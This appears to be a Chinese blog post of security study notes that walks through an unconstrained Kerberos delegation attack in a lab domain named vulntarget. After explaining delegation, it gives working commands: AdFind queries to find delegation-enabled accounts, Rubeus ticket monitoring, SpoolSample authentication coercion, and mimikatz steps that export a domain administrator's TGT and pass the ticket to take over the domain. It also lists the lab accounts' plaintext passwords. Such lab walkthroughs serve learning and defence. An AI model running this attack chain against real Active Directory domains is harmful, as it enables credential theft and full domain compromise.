前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >非约束委派攻击

非约束委派攻击

作者头像
Nayon
发布2023-04-17 20:02:40
3610
发布2023-04-17 20:02:40
举报
文章被收录于专栏:内网安全学习笔记

简介

委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

例:
代码语言:javascript
复制
User访问主机S2上的HTTP服务,此时要想完整的使用HTTP服务,需再访问S3主机上的SQL数据库,但S2并不知道域用户是否拥有权限访问S3上的数据库服务权限,这时为了验证权限,S2会带着User的访问权限去申请访问SQL数据库,若User拥有权限才可进行访问。

非约束委派

非约束委派Kerberos中实现时,User会将自KDC拿到的TGT发送给访问的服务机器Service1,Service1再通过拿到手的TGT票据去申请访问其他域内服务,Service1在拿到用户的TGT票据后,会对其留存,以便下次备用,这时,我们便可在拿下的Service1机器中拿到域用户的TGT票据,从而访问域内的可访问服务(域管用户可访问任意服务)

非约束委派流程图

流程

代码语言:javascript
复制
1.用户发KPB_AS_REQ消息请求[可转发TGT(forwardable TGT)] ,为了方便,先将其称之为TGT1。

2.KDC在KPB_AS_REQ中返回给User TGT1。

3.用户再通过TGT1向KDC请求转发TGT(forwardedTGT,我们称之为TGT2)。

4.在KRB_TGS_REP消息中返回Forwarded TGT 给User

5.User使用TGT1向KDC申请访问service1的ST(service Ticket)

6.KDC返回给用户一个ST

7.User发送KRB_AP_REQ请求至service1,这个请求包括了TGT1和ST、TGT2、TGT2的sessionKey。

8.service1使用用户的TGT2使用KRB_TGS_REQ发送给KDC,以用户的名义申请可以访问service2的票据.

9.KDC在KRB_TGS_REP消息中返回service2到service1的票据.

10.Service1以用户的名义向Service2发起KRB_AP_REQ请求.

11.Service2响应步骤10中的Service1请求。

12.Service1响应步骤7中用户的请求。

13.在这个过程中的TGT转发机制,没有限制Service1对TGT2的使用,也就是说Service1可以通过TGT2来请求任意服务。

14.KDC返回步骤13中请求的票据

15.和16即为Service1通过模拟用户来访问其他Service。

下面对非约束委派进行复现利用

非约束委派配置

代码语言:javascript
复制
setspn -U -A MSSQLvc/mssql.vulntarget.com:1433 win2016

当DC配置SPN给域用户Win2016时,在域内将可产生对域用户的委派,我们可以看到,域管理员勾选win2016用户的委派-信任此用户作为任何服务的委派时,将会造成非约束委派的问题。

非约束委派其特征

当域用户或机器被设置了非约束委派时,其userAccountControl属性将会包含一个名为”TRUSTED_FOR_DELEGATION”的标志。

我们可以在ADSI编辑器中找到

探测域内是否存在非约束委派
代码语言:javascript
复制
win2019 10.0.10.110 dc vulntarget\win2019::Admin@666
win2016 10.0.10.111 域内机器 vulntarget\win2016::Admin#123

查找利用账户时,我们暂且不考虑机器账户,因为拿到域内机器账户的票据后,我们无法用于远程访问,因此,我们在进行非约束委派攻击时,首先考虑域用户,但这并不意味着机器账户没有任何用处,当我们可以对机器账户进行非约束委派攻击时,我们可以根据拿到的机器账户TGT票据进行DCsync拿到域内hash等操作。

利用adfind查找域内启用了非约束委派的机器

代码语言:javascript
复制
adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

无需域用户账号密码查询非约束委派的域用户

代码语言:javascript
复制
AdFind.exe  -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

利用adfind查找域内启用了非约束委派的域内用户

代码语言:javascript
复制
adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

无需密码查找域内非约束委派的主机

代码语言:javascript
复制
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
机器账户的非约束委派攻击

首先在具备非约束委派攻击条件的域内机器执行Rubeus.exe监控登录操作,并实时转储TGT,(此操作需要本地管理员权限)

代码语言:javascript
复制
Rubeus.exe monitor /interval:1  /filteruser:win2019$

利用spoolsample项目使域控强制认证域机器抓取转储tgt

代码语言:javascript
复制
SpoolSample.exe win2019 win2016

很遗憾,此处由于dc已是win2019 ,强制认证已经得到微软的修复,因此此处转储机器账户TGT失败。

**低版本域控强制认证成功案例待补充**

但再Win2019 以下如win2012 win2008等服务器内 ,使用spoolSample项目强制域控机认证域机器是有很大概率奏效的。

域用户的非约束委派攻击

倘若发现存在非约束委派的用户,这时,我们可以在域内所有可以登陆此用户的域内机器上尝试非约束委派攻击,获取其缓存的服务账号票据,并期望获得域控的票据。

根据前文所用的adfind.exe ,我们可以发现,在win2016机器上,具有我们执行域用户的非约束委派攻击的条件

此处为了演示效果,我们主动让域控对域内机器win2016发起认证

代码语言:javascript
复制
Enter-PSSession -ComputerName win2016

此时,在win2016机器内已经存储下来了域管账户的tgt票据。

在win2016机器内利用mimikatz转储票据(以管理员权限启动)

代码语言:javascript
复制
privilege::debug
kerberos::purge 
sekurlsa::tickets /exports

可以看到转储成功,已拿到域管用户的tgt票据,接下来利用ptt hash传递,获得域管权限。

PTT之前,我们是无法通过Kerberos认证访问域控机的共享目录的

利用mimikatz进行ptt

代码语言:javascript
复制
kerberos::ptt [0;2c7f64]-2-0-60a10000-Administrator@krbtgt-VULNTARGET.COM.kirbi

此时已成功执行!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-01-062,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
    • 例:
    • 非约束委派
      • 非约束委派流程图
      • 非约束委派配置
        • 非约束委派其特征
          • 探测域内是否存在非约束委派
            • 机器账户的非约束委派攻击
              • 域用户的非约束委派攻击
              相关产品与服务
              云服务器
              云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档